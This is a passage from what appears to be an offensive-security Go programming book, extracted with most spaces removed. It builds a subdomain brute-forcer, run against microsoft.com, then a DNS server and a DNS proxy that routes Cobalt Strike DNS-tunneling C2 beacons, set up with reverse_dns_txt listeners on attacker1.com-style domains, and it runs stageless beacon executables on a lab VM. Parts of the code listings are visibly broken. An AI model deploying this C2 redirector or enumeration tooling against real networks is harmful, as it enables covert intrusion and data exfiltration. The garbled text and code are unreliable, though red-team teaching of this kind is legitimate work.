Chapter2,whenyoubuiltaconcurrentportscanner. ContinuetoexpandthecodefromListing5-3.First,create theworker()functionandplaceitoutsidemain().Thisfunction takesthreechannelarguments:achannelfortheworkerto signalwhetherithasclosed,achannelofdomainsonwhichto receivework,andachannelonwhichtosendresults.The functionwillneedafinalstringargumenttospecifytheDNS servertouse.Thefollowingcodeshowsanexampleofour worker()function: typeemptystruct{}❶ funcworker(trackerchanempty,fqdnschanstring,gatherchan[]result, serverAddrstring){ forfqdn:=rangefqdns{❷ results:=lookup(fqdn,serverAddr) iflen(results)>0{ gather<-results❸ } } vareempty tracker<-e❹ } Beforeintroducingtheworker()function,firstdefinethetype emptytotrackwhentheworkerfinishes❶.Thisisastructwith nofields;youuseanemptystructbecauseit’s0bytesinsize andwillhavelittleimpactoroverheadwhenused.Then,inthe worker()function,loopoverthedomainschannel❷,whichis usedtopassinFQDNs.Aftergettingresultsfromyourlookup() functionandcheckingtoensurethereisatleastoneresult, sendtheresultsonthegatherchannel❸,whichaccumulatesthe resultsbackinmain().Aftertheworkloopexitsbecausethe channelhasbeenclosed,anemptystructissentonthetracker channel❹tosignalthecallerthatallworkhasbeen completed.Sendingtheemptystructonthetrackerchannelis animportantlaststep.Ifyoudon’tdothis,you’llhavearace condition,becausethecallermayexitbeforethegatherchannel receivesresults. Sincealloftheprerequisitestructureissetupatthispoint, let’srefocusourattentionbacktomain()tocompletethe programwebeganinListing5-3.Definesomevariablesthat willholdtheresultsandthechannelsthatwillbepassedto worker().Thenappendthefollowingcodeintomain(): varresults[]result varresults[]result fqdns:=make(chanstring,*flWorkerCount) gather:=make(chan[]result) tracker:=make(chanempty) Createthefqdnschannelasabufferedchannelbyusingthe numberofworkersprovidedbytheuser.Thisallowsthe workerstostartslightlyfaster,asthechannelcanholdmore thanasinglemessagebeforeblockingthesender. CreatingaScannerwithbufio Next,openthefileprovidedbytheusertoconsumeasaword list.Withthefileopen,createanewscannerbyusingthebufio package.Thescannerallowsyoutoreadthefileonelineata time.Appendthefollowingcodeintomain(): fh,err:=os.Open(*flWordlist) iferr!=nil{ panic(err) } deferfh.Close() scanner:=bufio.NewScanner(fh) Thebuilt-infunctionpanic()isusedhereiftheerrorreturned isnotnil.Whenyou’rewritingapackageorprogramthat otherswilluse,youshouldconsiderpresentingthis informationinacleanerformat. You’llusethenewscannertograbalineoftextfromthe suppliedwordlistandcreateaFQDNbycombiningthetext withthedomaintheuserprovides.You’llsendtheresulton thefqdnschannel.Butyoumuststarttheworkersfirst.The orderofthisisimportant.Ifyouweretosendyourworkdown thefqdnschannelwithoutstartingtheworkers,thebuffered channelwouldeventuallybecomefull,andyourproducers wouldblock.You’lladdthefollowingcodetoyourmain() function.Itspurposeistostarttheworkergoroutines,read yourinputfile,andsendworkonyourfqdnschannel. ❶fori:=0;i<*flWorkerCount;i++{ goworker(tracker,fqdns,gather,*flServerAddr) } ❷forscanner.Scan(){ fqdns<-fmt.Sprintf("%s.%s",scanner.Text()❸,*flDomain) } Creatingtheworkers❶byusingthispatternshouldlook similartowhatyoudidwhenbuildingyourconcurrentport scanner:youusedaforloopuntilyoureachedthenumber providedbytheuser.Tograbeachlineinthefile,scanner.Scan() isusedinaloop❷.Thisloopendswhentherearenomore linestoreadinthefile.Togetastringrepresentationofthe textfromthescannedline,usescanner.Text()❸. Theworkhasbeenlaunched!Takeasecondtobaskin greatness.Beforereadingthenextcode,thinkaboutwhereyou areintheprogramandwhatyou’vealreadydoneinthisbook. Trytocompletethisprogramandthencontinuetothenext section,wherewe’llwalkyouthroughtherest. GatheringandDisplayingtheResults Tofinishup,firststartananonymousgoroutinethatwill gathertheresultsfromtheworkers.Appendthefollowing codeintomain(): gofunc(){ forr:=rangegather{ ❶results=append(results,r...❷) } vareempty ❸tracker<-e }() Byloopingoverthegatherchannel,youappendthereceived resultsontotheresultsslice❶.Sinceyou’reappendingaslice toanotherslice,youmustusethe...syntax❷.Afteryouclose thegatherchannelandtheloopends,sendanemptystructtothe trackerchannelasyoudidearlier❸.Thisisdonetopreventa raceconditionincaseappend()doesn’tfinishbythetimeyou eventuallypresenttheresultstotheuser. Allthat’sleftisclosingthechannelsandpresentingthe results.Includethefollowingcodeatthebottomofmain()in ordertoclosethechannelsandpresenttheresultstotheuser: ❶close(fqdns) ❷fori:=0;i<*flWorkerCount;i++{ <-tracker } ❸close(gather) ❹<-tracker Thefirstchannelthatcanbeclosedisfqdns❶because you’vealreadysentalltheworkonthischannel.Next,you needtoreceiveonthetrackerchannelonetimeforeachofthe workers❷,allowingtheworkerstosignalthattheyexited completely.Withalloftheworkersaccountedfor,youcan closethegatherchannel❸becausetherearenomoreresultsto receive.Finally,receiveonemoretimeonthetrackerchannelto allowthegatheringgoroutinetofinishcompletely❹. Theresultsaren’tyetpresentedtotheuser.Let’sfixthat.If youwantedto,youcouldeasilyloopovertheresultssliceand printtheHostnameandIPAddressfieldsbyusingfmt.Printf().We prefer,instead,touseoneofGo’sseveralgreatbuilt-in packagesforpresentingdata;tabwriterisoneofourfavorites.It allowsyoutopresentdatainnice,evencolumnsbrokenupby tabs.Addthefollowingcodetotheendofmain()tousetabwriter toprintyourresults: w:=tabwriter.NewWriter(os.Stdout,0,8,4,'',0) for_,r:=rangeresults{ fmt.Fprintf(w,"%s\t%s\n",r.Hostname,r.IPAddress) } w.Flush() Listing5-4showstheprograminitsentirety. Packagemain import( "bufio" "errors" "flag" "fmt" "os" "text/tabwriter" "github.com/miekg/dns" ) funclookupA(fqdn,serverAddrstring)([]string,error){ varmdns.Msg varips[]string m.SetQuestion(dns.Fqdn(fqdn),dns.TypeA) in,err:=dns.Exchange(&m,serverAddr) iferr!=nil{ returnips,err } iflen(in.Answer)<1{ returnips,errors.New("noanswer") } for_,answer:=rangein.Answer{ ifa,ok:=answer.(*dns.A);ok{ ips=append(ips,a.A.String()) returnips,nil } } returnips,nil } funclookupCNAME(fqdn,serverAddrstring)([]string,error){ varmdns.Msg varfqdns[]string m.SetQuestion(dns.Fqdn(fqdn),dns.TypeCNAME) in,err:=dns.Exchange(&m,serverAddr) iferr!=nil{ returnfqdns,err } iflen(in.Answer)<1{ returnfqdns,errors.New("noanswer") } for_,answer:=rangein.Answer{ ifc,ok:=answer.(*dns.CNAME);ok{ fqdns=append(fqdns,c.Target) } } returnfqdns,nil } funclookup(fqdn,serverAddrstring)[]result{ varresults[]result varcfqdn=fqdn//Don'tmodifytheoriginal. For{ cnames,err:=lookupCNAME(cfqdn,serverAddr) iferr==nil&&len(cnames)>0{ cfqdn=cnames[0] continue//WehavetoprocessthenextCNAME. } ips,err:=lookupA(cfqdn,serverAddr) iferr!=nil{ break//TherearenoArecordsforthishostname. } for_,ip:=rangeips{ results=append(results,result{IPAddress:ip,Hostname:fqdn}) } break//Wehaveprocessedalltheresults. } returnresults } funcworker(trackerchanempty,fqdnschanstring,gatherchan[]result, serverAddrstring){ forfqdn:=rangefqdns{ results:=lookup(fqdn,serverAddr) iflen(results)>0{ gather<-results } } vareempty tracker<-e } typeemptystruct{} typeresultstruct{ IPAddressstring Hostnamestring } funcmain(){ var( flDomain=flag.String("domain","","Thedomaintoperformguessing against.") flWordlist=flag.String("wordlist","","Thewordlisttouseforguessing.") flWorkerCount=flag.Int("c",100,"Theamountofworkerstouse.") flServerAddr=flag.String("server","8.8.8.8:53","TheDNSservertouse.") ) flag.Parse() if*flDomain==""||*flWordlist==""{ fmt.Println("-domainand-wordlistarerequired") os.Exit(1) } varresults[]result fqdns:=make(chanstring,*flWorkerCount) gather:=make(chan[]result) tracker:=make(chanempty) fh,err:=os.Open(*flWordlist) iferr!=nil{ panic(err) } deferfh.Close() scanner:=bufio.NewScanner(fh) forI:=0;i<*flWorkerCount;i++{ goworker(tracker,fqdns,gather,*flServerAddr) } forscanner.Scan(){ fqdns<-fmt.Sprintf"%s.%",scanner.Text(),*flDomain) } //Note:Wecouldcheckscanner.Err()here. gofunc(){ forr:=rangegather{ results=append(results,I.) } vareempty tracker<-e }() close(fqdns) fori:=0;i<*flWorkerCount;i++{ <-tracker } close(gather) <-tracker w:=tabwriter.NewWriter(os.Stdout,0,8'','',0) for_,r:=rangeresults{ fmt.Fprint"(w,"%s\"%s\n",r.Hostname,r.IPAddress) } w.Flush() } Listing5-4:Thecompletesubdomain-guessingprogram(/ch- 5/subdomain_guesser/main.go) Yoursubdomain-guessingprogramiscomplete!You shouldnowbeabletobuildandexecuteyourshinynew subdomain-guessingtool.Tryitwithwordlistsordictionary filesinopensourcerepositories(youcanfindplentywitha Googlesearch).Playaroundwiththenumberofworkers;you mayfindthatifyougotoofast,you’llgetvaryingresults. Here’sarunfromtheauthors’systemusing100workers: $wc-lnamelist.txt 1909namelist.txt $time./subdomain_guesser-domainmicrosoft.com-wordlistnamelist.txt-c 1000 ajax.microsoft.com72.21.81.200 buy.microsoft.com157.56.65.82 news.microsoft.com192.230.67.121 applications.microsoft.com168.62.185.179 sc.microsoft.com157.55.99.181 open.microsoft.com23.99.65.65 ra.microsoft.com131.107.98.31 ris.microsoft.com213.199.139.250 smtp.microsoft.com205.248.106.64 wallet.microsoft.com40.86.87.229 jp.microsoft.com134.170.185.46 ftp.microsoft.com134.170.188.232 develop.microsoft.com104.43.195.251 ./subdomain_guesser-domainmicrosoft.com-wordlistnamelist.txt-c10000.23s user0.67ssystem22%cpu4.040total You’llseethattheoutputshowsseveralFQDNsandtheir IPaddresses.Wewereabletoguessthesubdomainvaluesfor eachresultbasedoffthewordlistprovidedasaninputfile. Nowthatyou’vebuiltyourownsubdomain-guessingtool andlearnedhowtoresolvehostnamesandIPaddressesto enumeratedifferentDNSrecords,you’rereadytowriteyour ownDNSserverandproxy. WRITINGDNSSERVERS AsYodasaid,“Alwaystwothereare,nomore,noless.”Of course,hewastalkingabouttheclient-serverrelationship,and sinceyou’reamasterofclients,nowisthetimetobecomea masterofservers.Inthissection,you’llusetheGoDNS packagetowriteabasicserverandaproxy.YoucanuseDNS serversforseveralnefariousactivities,includingbutnot limitedtotunnelingoutofrestrictivenetworksandconducting spoofingattacksbyusingfakewirelessaccesspoints. Beforeyoubegin,you’llneedtosetupalabenvironment. Thislabenvironmentwillallowyoutosimulaterealistic scenarioswithouthavingtoownlegitimatedomainsanduse costlyinfrastructure,butifyou’dliketoregisterdomainsand usearealserver,pleasefeelfreetodoso. LabSetupandServerIntroduction Yourlabconsistsoftwovirtualmachines(VMs):aMicrosoft WindowsVMtoactasclientandanUbuntuVMtoactas server.ThisexampleusesVMWareWorkstationalongwith Bridgednetworkmodeforeachmachine;youcanusea privatevirtualnetwork,butmakesurethatbothmachinesare onthesamenetwork.YourserverwillruntwoCobaltStrike DockerinstancesbuiltfromtheofficialJavaDockerimage (JavaisaprerequisiteforCobaltStrike).Figure5-1shows whatyourlabwilllooklike. Figure5-1:ThelabsetupforcreatingyourDNSserver First,createtheUbuntuVM.Todothis,we’lluseversion 16.04.1LTS.Nospecialconsiderationsneedtobemade,but youshouldconfiguretheVMwithatleast4gigabytesof memoryandtwoCPUs.YoucanuseanexistingVMorhostif youhaveone.Aftertheoperatingsystemhasbeeninstalled, you’llwanttoinstallaGodevelopmentenvironment(see Chapter1). Onceyou’vecreatedtheUbuntuVM,installa virtualizationcontainerutilitycalledDocker.Intheproxy sectionofthischapter,you’lluseDockertorunmultiple instancesofCobaltStrike.ToinstallDocker,runthefollowing inyourterminalwindow: $sudoapt-getinstallapt-transport-httpsca-certificates sudoapt-keyadv\ --keyserverhkp://ha.pool.sks-keyservers.net:80\ --recv-keys58118E89F3A912897C070ADBF76221572C52609D $echo"debhttps://apt.dockerproject.org/repoubuntu-xenialmain"|sudotee /etc/apt/sources.list.d/docker.list $sudoapt-getupdate $sudoapt-getinstalllinux-image-extra-$(uname-r)linux-image-extra-virtual $sudoapt-getinstalldocker-engine $sudoservicedockerstart $sudousermod-aGdockerUSERNAME Afterinstalling,logoutandlogbackintoyoursystem. Next,verifythatDockerhasbeeninstalledbyrunningthe followingcommand: $dockerversion Client: Version:1.13.1 APIversion:1.26 Goversion:go1.7.5 Gitcommit:092cba3 Built:WedFeb506:50:142020 OS/Arch:linux/amd64 WithDockerinstalled,usethefollowingcommandto downloadaJavaimage.Thiscommandpullsdownthebase DockerJavaimagebutdoesn’tcreateanycontainers.You’re doingthistoprepareforyourCobaltStrikebuildsshortly. $dockerpulljava Finally,youneedtoensurethatdnsmasqisn’trunning, becauseitlistensonport53.Otherwise,yourownDNS serverswon’tbeabletooperate,sincethey’reexpectedtouse thesameport.KilltheprocessbyIDifit’srunning: $ps-ef|grepdnsmasq nobody33862020012:08 $sudokill3386 NowcreateaWindowsVM.Again,youcanusean existingmachineifavailable.Youdon’tneedanyspecial settings;minimalsettingswilldo.Oncethesystemis functional,settheDNSservertotheIPaddressoftheUbuntu system. TotestyourlabsetupandtointroduceyoutowritingDNS servers,startbywritingabasicserverthatreturnsonlyA records.InyourGOPATHontheUbuntusystem,createanew directorycalledgithub.com/blackhat-go/bhg/ch-5/a_server andafiletoholdyourmain.gocode.Listing5-5showsthe entirecodeforcreatingasimpleDNSserver. packagemain import( "log" "net" "github.com/miekg/dns" ) funcmain(){ ❶dns.HandleFunc(".",func(wdns.ResponseWriter,req*dns.Msg){ ❷varrespdns.Msg resp.SetReply(req) for_,q:=rangereq.Question{ ❸a:=dns.A{ Hdr:dns.RR_Header{ Name:q.Name, Rrtype:dns.TypeA, Class:dns.ClassINET, Ttl:0, }, A:net.ParseIP("127.0.0.1").To4(), } ❹resp.Answer=append(resp.Answer,&a) } ❺w.WriteMsg(&resp) }) ❻log.Fatal(dns.ListenAndServe(":53","udp",nil)) } Listing5-5:WritingaDNSserver(/ch-5/a_server/main.go) TheservercodestartswithacalltoHandleFunc()❶;itlooks alotlikethenet/httppackage.Thefunction’sfirstargumentisa querypatterntomatch.You’llusethispatterntoindicateto theDNSserverswhichrequestswillbehandledbythe suppliedfunction.Byusingaperiod,you’retellingtheserver thatthefunctionyousupplyinthesecondargumentwill handleallrequests. ThenextargumentpassedtoHandleFunc()isafunction containingthelogicforthehandler.Thisfunctionreceivestwo arguments:aResponseWriterandtherequestitself.Insidethe handler,youstartbycreatinganewmessageandsettingthe reply❷.Next,youcreateananswerforeachquestion,using anArecord,whichimplementstheRRinterface.Thisportion willvarydependingonthetypeofansweryou’relookingfor ❸.ThepointertotheArecordisappendedtotheresponse’s Answerfieldbyusingappend()❹.Withtheresponsecomplete, youcanwritethismessagetothecallingclientbyusing w.WriteMsg()❺.Finally,tostarttheserver,ListenAndServe()is called❻.ThiscoderesolvesallrequeststoanIPaddressof 127.0.0.1. Oncetheserveriscompiledandstarted,youcantestitby usingdig.Confirmthatthehostnameforwhichyou’re queryingresolvesto127.0.0.1.Thatindicatesit’sworkingas designed. $dig@localhostfacebook.com ;<<>>DiG9.10.3-P4-Ubuntu<<>>@localhostfacebook.com ;(1serverfound) ;;globaloptions:+cmd ;;Gotanswer: ;;->>HEADER<<-opcode:QUERY,status:NOERROR,id:33594 ;;flags:qrrd;QUERY:1,ANSWER:1,AUTHORITY:0,ADDITIONAL:0 ;;WARNING:recursionrequestedbutnotavailable ;;QUESTIONSECTION: ;facebook.com.INA ;;ANSWERSECTION: facebook.com.0INA127.0.0.1 ;;Querytime:0msec ;;SERVER:127.0.0.1#53(127.0.0.1) ;;WHEN:SatDec1913:13:45MST2020 ;;MSGSIZErcvd:58 Notethattheserverwillneedtobestartedwithsudoora rootaccount,becauseitlistensonaprivilegedport—port53. Iftheserverdoesn’tstart,youmayneedtokilldnsmasq. CreatingDNSServerandProxy DNStunneling,adataexfiltrationtechnique,canbeagreat waytoestablishaC2channeloutofnetworkswithrestrictive egresscontrols.IfusinganauthoritativeDNSserver,an attackercanroutethroughanorganization’sownDNSservers andoutthroughtheinternetwithouthavingtomakeadirect connectiontotheirowninfrastructure.Althoughslow,it’s difficulttodefendagainst.Severalopensourceandproprietary payloadsperformDNStunneling,oneofwhichisCobalt Strike’sBeacon.Inthissection,you’llwriteyourownDNS serverandproxyandlearnhowtomultiplexDNStunneling C2payloadsbyusingCobaltStrike. ConfiguringCobaltStrike Ifyou’veeverusedCobaltStrike,youmayhavenoticedthat, bydefault,theteamserverlistensonport53.Becauseofthis, andbytherecommendationofthedocumentation,onlya singleservershouldeverberunonasystem,maintaininga one-to-oneratio.Thiscanbecomeproblematicformedium-to- largeteams.Forexample,ifyouhave20teamsconducting offensiveengagementsagainst20separateorganizations, standingup20systemscapableofrunningtheteamserver couldbedifficult.Thisproblemisn’tuniquetoCobaltStrike andDNS;it’sapplicabletootherprotocols,includingHTTP payloads,suchasMetasploitMeterpreterandEmpire. Althoughyoucouldestablishlistenersonavarietyof completelyuniqueports,there’sagreaterprobabilityof egressingtrafficovercommonportssuchasTCP80and443. Sothequestionbecomes,howcanyouandotherteamssharea singleportandroutetomultiplelisteners?Theansweriswith aproxy,ofcourse.Backtothelab. NOTE In real engagements, you’d want to have multiple levels of subterfuge, abstraction, and forwarding to disguise the location of your teamserver. This can be done using UDP and TCP forwarding through small utility serversusingvarioushostingproviders.Theprimaryteamserverandproxy can also run on separate systems, having the teamserver cluster on a largesystemwithplentyofRAMandCPUpower. Let’sruntwoinstancesofCobaltStrike’steamserverin twoDockercontainers.Thisallowstheservertolistenonport 53andletseachteamserverhavewhatwilleffectivelybetheir ownsystemand,consequently,theirownIPstack.You’lluse Docker’sbuilt-innetworkingmechanismtomapUDPportsto thehostfromthecontainer.Beforeyoubegin,downloadatrial versionofCobaltStrikeathttps://trial.cobaltstrike.com/.After followingthetrialsign-upinstructions,youshouldhavea freshtarballinyourdownloaddirectory.You’renowreadyto starttheteamservers. Executethefollowinginaterminalwindowtostartthefirst container: $dockerrun--rm❶-it❷-p2020:53❸-p50051:50050❹-v❺fullpathto cobaltstrikedownload:/data❻java❼/bin/bash❽ Thiscommanddoesseveralthings.First,youtellDockerto removethecontainerafteritexits❶,andthatyou’dliketo interactwithitafterstarting❷.Next,youmapport2020on yourhostsystemtoport53inthecontainer❸,andport50051 toport50050❹.Next,youmapthedirectorycontainingthe CobaltStriketarball❺tothedatadirectoryonthecontainer ❻.YoucanspecifyanydirectoryyouwantandDockerwill happilycreateitforyou.Finally,providetheimageyouwant touse(inthiscase,Java)❼andthecommand❽you’dliketo executeonstartup.Thisshouldleaveyouwithabashshellin therunningDockercontainer. OnceinsidetheDockercontainer,starttheteamserverby executingthefollowingcommands: $cd/root $tar-zxvf/data/cobaltstrike-trial.tgz $cdcobaltstrike $./teamserver<IPaddressofhost><somepassword> TheIPaddressprovidedshouldbethatofyouractualVM, nottheIPaddressofthecontainer. Next,openanewterminalwindowontheUbuntuhostand changeintothedirectorycontainingtheCobaltStriketarball. ExecutethefollowingcommandstoinstallJavaandstartthe CobaltStrikeclient: $sudoadd-apt-repositoryppa:webupd8team/java $sudoaptupdate $sudoaptinstalloracle-java8-installer $tar-zxvfcobaltstrike-trial.tgz $cdcobaltstrike $./cobaltstrike TheGUIforCobaltStrikeshouldstartup.Afterclearing thetrialmessage,changetheteamserverportto50051andset yourusernameandpasswordaccordingly. You’vesuccessfullystartedandconnectedtoaserver runningcompletelyinDocker!Now,let’sstartasecondserver byrepeatingthesameprocess.Followthepreviousstepsto startanewteamserver.Thistime,you’llmapdifferentports. Incrementingtheportsbyoneshoulddothetrickandis logical.Inanewterminalwindow,executethefollowing commandtostartanewcontainerandlistenonports2021and 50052: $dockerrun--rm-it-p2021:53-p50052:50050-vfullpathtocobaltstrike download:/datajava/bin/bash FromtheCobaltStrikeclient,createanewconnectionby selectingCobaltStrike▶NewConnection,modifyingthe portto50052,andselectingConnect.Onceconnected,you shouldseetwotabsatthebottomoftheconsole,whichyou canusetoswitchbetweenservers. Nowthatyou’vesuccessfullyconnectedtothetwo teamservers,youshouldstarttwoDNSlisteners.Tocreatea listener,selectConfigureListenersfromthemenu;itsicon lookslikeapairofheadphones.Oncethere,selectAddfrom thebottommenutobringuptheNewListenerwindow.Enter thefollowinginformation: Name:DNS1 Payload:windows/beacon_dns/reverse_dns_txt Host:<IPaddressofhost> Port:0 Inthisexample,theportissetto80,butyourDNSpayload stillusesport53,sodon’tworry.Port80isspecificallyused forhybridpayloads.Figure5-2showstheNewListener windowandtheinformationyoushouldbeentering. Figure5-2:Addinganewlistener Next,you’llbepromptedtoenterthedomainstousefor beaconing,asshowninFigure5-3. Enterthedomainattacker1.comastheDNSbeacon,which shouldbethedomainnametowhichyourpayloadbeacons. Youshouldseeamessageindicatingthatanewlistenerhas started.Repeattheprocesswithintheotherteamserver,using DNS2andattacker2.com.Beforeyoustartusingthesetwo listeners,you’llneedtowriteanintermediaryserverthat inspectstheDNSmessagesandroutesthemappropriately. This,essentially,isyourproxy. Figure5-3:AddingtheDNSbeacon’sdomain CreatingaDNSProxy TheDNSpackageyou’vebeenusingthroughoutthischapter makeswritinganintermediaryfunctioneasy,andyou’ve alreadyusedsomeofthesefunctionsinprevioussections. Yourproxyneedstobeabletodothefollowing: Createahandlerfunctiontoingestanincomingquery Inspectthequestioninthequeryandextractthedomainname IdentifytheupstreamDNSservercorrelatingtothedomainname ExchangethequestionwiththeupstreamDNSserverandwritetheresponseto theclient Yourhandlerfunctioncouldbewrittentohandle attacker1.comandattacker2.comasstaticvalues,butthat’s notmaintainable.Instead,youshouldlookuprecordsfroma resourceexternaltotheprogram,suchasadatabaseora configurationfile.Thefollowingcodedoesthisbyusingthe formatofdomain,server,whichliststheincomingdomainand upstreamserverseparatedbyacomma.Tostartyourprogram, createafunctionthatparsesafilecontainingrecordsinthis format.ThecodeinListing5-6shouldbewrittenintoanew filecalledmain.go. packagemain import( "bufio" "fmt" "os" "strings" ) ❶funcparse(filenamestring)(map[string]string❷,error){ records:=make(map[string]string) fh,err:=os.Open(filename) iferr!=nil{ returnrecords,err } deferfh.Close() scanner:=bufio.NewScanner(fh) forscanner.Scan(){ line:=scanner.Text() parts:=strings.SplitN(line,",",2) iflen(parts)<2{ returnrecords,fmt.Errorf("%sisnotavalidline",line) } records[parts[0]]=parts[1] } returnrecords,scanner.Err() } funcmain(){ records,err:=parse("proxy.config") iferr!=nil{ panic(err) } fmt.Printf("%+v\n",records) } Listing5-6:WritingaDNSproxy(/ch-5/dns_proxy/main.go) Withthiscode,youfirstdefineafunction❶thatparsesa filecontainingtheconfigurationinformationandreturnsa map[string]string❷.You’llusethatmaptolookuptheincoming domainandretrievetheupstreamserver. Enterthefirstcommandinthefollowingcodeintoyour terminalwindow,whichwillwritethestringafterechointoa filecalledproxy.config.Next,youshouldcompileandexecute dns_proxy.go. $echo'attacker1.com,127.0.0.1:2020\nattacker2.com,127.0.0.1:2021'> proxy.config $gobuild $./dns_proxy map[attacker1.com:127.0.0.1:2020attacker2.com:127.0.0.1:2021] Whatareyoulookingathere?Theoutputisthemapping betweenteamserverdomainnamesandtheportonwhichthe CobaltStrikeDNSserverislistening.Recallthatyoumapped ports2020and2021toport53onyourtwoseparateDocker containers.Thisisaquickanddirtywayforyoutocreate basicconfigurationforyourtoolsoyoudon’thavetostoreit inadatabaseorotherpersistentstoragemechanism. Withamapofrecordsdefined,youcannowwritethe handlerfunction.Let’srefineyourcode,addingthefollowing toyourmain()function.Itshouldfollowtheparsingofyour configfile. ❶dns.HandleFunc(".",func(wdns.ResponseWriter,req*dns.Msg)❷{ ❸iflen(req.Question)<1{ dns.HandleFailed(w,req) return } ❹name:=req.Question[0].Name parts:=strings.Split(name,".") iflen(parts)>1{ ❺name=strings.Join(parts[len(parts)-2:],".") } ❻match,ok:=records[name] if!ok{ dns.HandleFailed(w,req) return } ❼resp,err:=dns.Exchange(req,match) iferr!=nil{ dns.HandleFailed(w,req) return } ❽iferr:=w.WriteMsg(resp);err!=nil{ dns.HandleFailed(w,req) return } }) ❾log.Fatal(dns.ListenAndServe(":53","udp",nil)) Tobegin,callHandleFunc()withaperiodtohandleall incomingrequests❶,anddefineananonymousfunction❷, whichisafunctionthatyoudon’tintendtoreuse(ithasno name).Thisisgooddesignwhenyouhavenointentionto reuseablockofcode.Ifyouintendtoreuseit,youshould declareandcallitasanamedfunction.Next,inspectthe incomingquestionsslicetoensurethatatleastonequestionis provided❸,andifnot,callHandleFailed()andreturntoexitthe functionearly.Thisisapatternusedthroughoutthehandler.If atleastasinglequestiondoesexist,youcansafelypullthe requestednamefromthefirstquestion❹.Splittingthename byaperiodisnecessarytoextractthedomainname.Splitting thenameshouldneverresultinavaluelessthan1,butyou shouldcheckittobesafe.Youcangrabthetailoftheslice— theelementsattheendoftheslice—byusingthesliceoperator ontheslice❺.Now,youneedtoretrievetheupstreamserver fromtherecordsmap. Retrievingavaluefromamap❻canreturnoneortwo variables.Ifthekey(inourcase,adomainname)ispresenton themap,itwillreturnthecorrespondingvalue.Ifthedomain isn’tpresent,itwillreturnanemptystring.Youcouldcheckif thereturnedvalueisanemptystring,butthatwouldbe inefficientwhenyoustartworkingwithtypesthataremore complex.Instead,assigntwovariables:thefirstisthevalue forthekey,andthesecondisaBooleanthatreturnstrueifthe keyisfound.Afterensuringamatch,youcanexchangethe requestwiththeupstreamserver❼.You’resimplymaking surethatthedomainnameforwhichyou’vereceivedthe requestisconfiguredinyourpersistentstorage.Next,writethe responsefromtheupstreamservertotheclient❽.Withthe handlerfunctiondefined,youcanstarttheserver❾.Finally, youcannowbuildandstarttheproxy. Withtheproxyrunning,youcantestitbyusingthetwo CobaltStrikelisteners.Todothis,firstcreatetwostageless executables.FromCobaltStrike’stopmenu,clicktheiconthat lookslikeagear,andthenchangetheoutputtoWindowsExe. Repeatthisprocessfromeachteamserver.Copyeachofthese executablestoyourWindowsVMandexecutethem.The DNSserverofyourWindowsVMshouldbetheIPaddressof yourLinuxhost.Otherwise,thetestwon’twork. Itmaytakeamomentortwo,buteventuallyyoushouldsee anewbeacononeachteamserver.Missionaccomplished! FinishingTouches Thisisgreat,butwhenyouhavetochangetheIPaddressof yourteamserverorredirector,orifyouhavetoaddarecord, you’llhavetorestarttheserveraswell.Yourbeaconswould likelysurvivesuchanaction,butwhytaketheriskwhen there’samuchbetteroption?Youcanuseprocesssignalsto tellyourrunningprogramthatitneedstoreloadthe configurationfile.ThisisatrickthatIfirstlearnedfromMatt Holt,whoimplementeditinthegreatCaddyServer.Listing5- 7showstheprograminitsentirety,completewithprocess signalinglogic: packagemain import( "bufio" "fmt" "log" "os" "os/signal" "strings" "sync" "syscall" "github.com/miekg/dns" ) funcparse(filenamestring)(map[string]string,error){ records:=make(map[string]string) fh,err:=os.Open(filename) iferr!=nil{ returnrecords,err } deferfh.Close() scanner:=bufio.NewScanner(fh) forscanner.Scan(){ line:=scanner.Text() parts:=strings.SplitN(line,",",2) iflen(parts)<2{ returnrecords,fmt.Errorf("%sisnotavalidline",line) } records[parts[0]]=parts[1] } log.Println("recordssetto:") fork,v:=rangerecords{ fmt.Printf("%s->%s\n",k,v) } returnrecords,scanner.Err() } funcmain(){ ❶varrecordLocksync.RWMutex records,err:=parse("proxy.config") iferr!=nil{ panic(err) } dns.HandleFunc(".",func(wdns.ResponseWriter,req*dns.Msg){ iflen(req.Question)==0{ dns.HandleFailed(w,req) return } fqdn:=req.Question[0].Name parts:=strings.Split(fqdn,".") iflen(parts)>=2{ fqdn=strings.Join(parts[len(parts)-2:],".") } ❷recordLock.RLock() match:=records[fqdn] ❸recordLock.RUnlock() ifmatch==""{ dns.HandleFailed(w,req) return } resp,err:=dns.Exchange(req,match) iferr!=nil{ dns.HandleFailed(w,req) return } iferr:=w.WriteMsg(resp);err!=nil{ dns.HandleFailed(w,req) return } }) ❹gofunc(){ ❺sigs:=make(chanos.Signal,1) ❻signal.Notify(sigs,syscall.SIGUSR1) forsig:=rangesigs{ ❼switchsig{ casesyscall.SIGUSR1: log.Println("SIGUSR1:reloadingrecords") ❽recordLock.Lock() parse("proxy.config") ❾recordLock.Unlock() } } }() log.Fatal(dns.ListenAndServe(":53","udp",nil)) } Listing5-7:Yourcompletedproxy(/ch-5/dns_proxy/main.go) Thereareafewadditions.Sincetheprogramisgoingtobe modifyingamapthatcouldbeinusebyconcurrent goroutines,you’llneedtouseamutextocontrolaccess. A mutexpreventsconcurrentexecutionofsensitivecodeblocks, allowingyoutolockandunlockaccess.Inthiscase,youcan useRWMutex❶,whichallowsanygoroutinetoreadwithout lockingtheothersout,butwilllocktheothersoutwhena writeisoccurring.Alternatively,implementinggoroutines withoutamutexonyourresourcewillintroduceinterleaving, whichcouldresultinraceconditionsorworse. Beforeaccessingthemapinyourhandler,callRLock❷to readavaluetomatch;afterthereadiscomplete,RUnlock❸is calledtoreleasethemapforthenextgoroutine.Inan anonymousfunctionthat’srunningwithinanewgoroutine❹, youbegintheprocessoflisteningforasignal.Thisisdone usingachanneloftypeos.Signal❺,whichisprovidedinthe calltosignal.Notify()❻alongwiththeliteralsignaltobe consumedbytheSIGUSR1channel,whichisasignalsetaside forarbitrarypurposes.Inaloopoverthesignals,useaswitch statement❼toidentifythetypeofsignalthathasbeen received.You’reconfiguringonlyasinglesignaltobe monitored,butinthefutureyoumightchangethis,sothisis anappropriatedesignpattern.Finally,Lock()❽isusedpriorto reloadingtherunningconfigurationtoblockanygoroutines thatmaybetryingtoreadfromtherecordmap.UseUnlock()❾ tocontinueexecution. Let’stestthisprogrambystartingtheproxyandcreatinga newlistenerwithinanexistingteamserver.Usethedomain attacker3.com.Withtheproxyrunning,modifythe proxy.configfileandaddanewlinepointingthedomainto yourlistener.Youcansignaltheprocesstoreloadits 1 configurationbyusingkill,butfirstusepsandgreptoidentify theprocessID. $ps-ef|grepproxy $kill-10PID Theproxyshouldreload.Testitbycreatingandexecuting anewstagelessexecutable.Theproxyshouldnowbe functionalandproductionready. SUMMARY 